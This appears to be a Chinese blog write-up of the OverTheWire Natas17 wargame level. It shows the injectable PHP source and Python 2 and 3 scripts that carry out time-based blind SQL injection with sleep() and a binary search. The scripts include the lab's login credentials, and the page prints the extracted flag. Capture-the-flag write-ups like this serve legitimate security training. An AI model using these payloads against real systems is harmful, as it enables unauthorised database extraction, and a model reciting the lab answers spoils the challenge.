zoukankan      html  css  js  c++  java
  • Natas17 Writeup(sql盲注之时间盲注)

    Natas17:

    源码如下

    /*
    CREATE TABLE `users` (
      `username` varchar(64) DEFAULT NULL,
      `password` varchar(64) DEFAULT NULL
    );
    */
    
    if(array_key_exists("username", $_REQUEST)) {
        $link = mysql_connect('localhost', 'natas17', '<censored>');
        mysql_select_db('natas17', $link);
        
        $query = "SELECT * from users where username="".$_REQUEST["username"].""";
        if(array_key_exists("debug", $_GET)) {
            echo "Executing query: $query<br>";
        }
    
        $res = mysql_query($query, $link);
        if($res) {
        if(mysql_num_rows($res) > 0) {
            //echo "This user exists.<br>";
        } else {
            //echo "This user doesn't exist.<br>";
        }
        } else {
            //echo "Error in query.<br>";
        }
    
        mysql_close($link);
    } 
    
    分析源码,又是一道sql注入题,与15题的内容类似,只是不再提供回显,所有echo均被注释掉了。猜测到username为natas18,依旧是盲注的思想,但因为没有作为判断的回显,所以这次选择时间盲注,使用if()和sleep()函数完成注入。
    脚本(二分查找,效率更快):
    #coding:utf-8
    import requests
    url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php' key ='' for i in range(1,33): #i表示password的每一位字符,因为password共32位字符,所以i取值1-32 #ascii表中 数字 32–126 分配给了能在键盘上找到的字符 #下面用了二分法查找password的每一个字符 a = 32 c = 126 while a<c: b = (a+c)/2 #79 O # MID 函数用于从文本字段中提取字符。 # mid(password,%d,1),表示从password中从第%d位开始,取1位字符,即取第%d位字符 # Ascii()返回字符的ascii码 # sleep(n):将程序挂起一段时间 n为n秒 # if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句 # if(%d<ascii(mid(password,%d,1)),sleep(2),1),表示先取出password的第i位,将其换算成ascii码,然后与变量b对比,如果大于b,则睡2秒再返回结果,否则直接返回结果 payload=r'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(2),1) and "" like "'%(b,i) try: req = requests.post(url=url,data={"username":payload},timeout=2) except requests.exceptions.Timeout,e: a=b+1 #80 P b=(a+c)/2 #103 g continue c=b key +=chr(b) print key

    flag:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

    注意:此脚本需要使用Python2.x来运行,否则会报错:TypeError: integer argument expected, got float

    原因:

    如果一定要使用Python3.x运行,可以把b = (a+c)/2改为b =int( (a+c)/2)

    Python3.x脚本:

    # coding:utf-8
    import requests
    url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php'
    key = ''
    
    for i in range(1, 33):
        a = 32
        c = 126
        while a < c:
            b = int((a + c) / 2)  # 79 O
            payload = r'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(10),1) and "" like "' % (b, i)
            try:
                req = requests.post(url=url, data={"username": payload}, timeout=2)
            except requests.exceptions.Timeout as e:
                a = b + 1  # 80 P
                b = int((a + c) / 2)  # 103 g
                continue
            c = b
        key += chr(b)
        print(key)

    由于这里使用的是时间盲注,而网络环境不稳也会导致超时发生,所以sleep(2)可能会导致盲注判断错误,因此这里我改成了sleep(10)。

    结果:

    参考:https://www.cnblogs.com/ichunqiu/p/9554885.html

  • 相关阅读:
    配置apache的文件访问路径
    php 常量const
    php接口interface的使用
    php 抽象类abstract
    php 面向对象三大特点:封装、继承、多态
    程序员的情怀《从前慢》木心
    php static静态属性和静态方法
    php面向对象的构造方法与析构方法
    关于php变量的赋值和引用的区别
    angular4.0微信oAuth第三方认证的正确方式
  • 原文地址:https://www.cnblogs.com/zhengna/p/12391055.html
Copyright © 2011-2022 走看看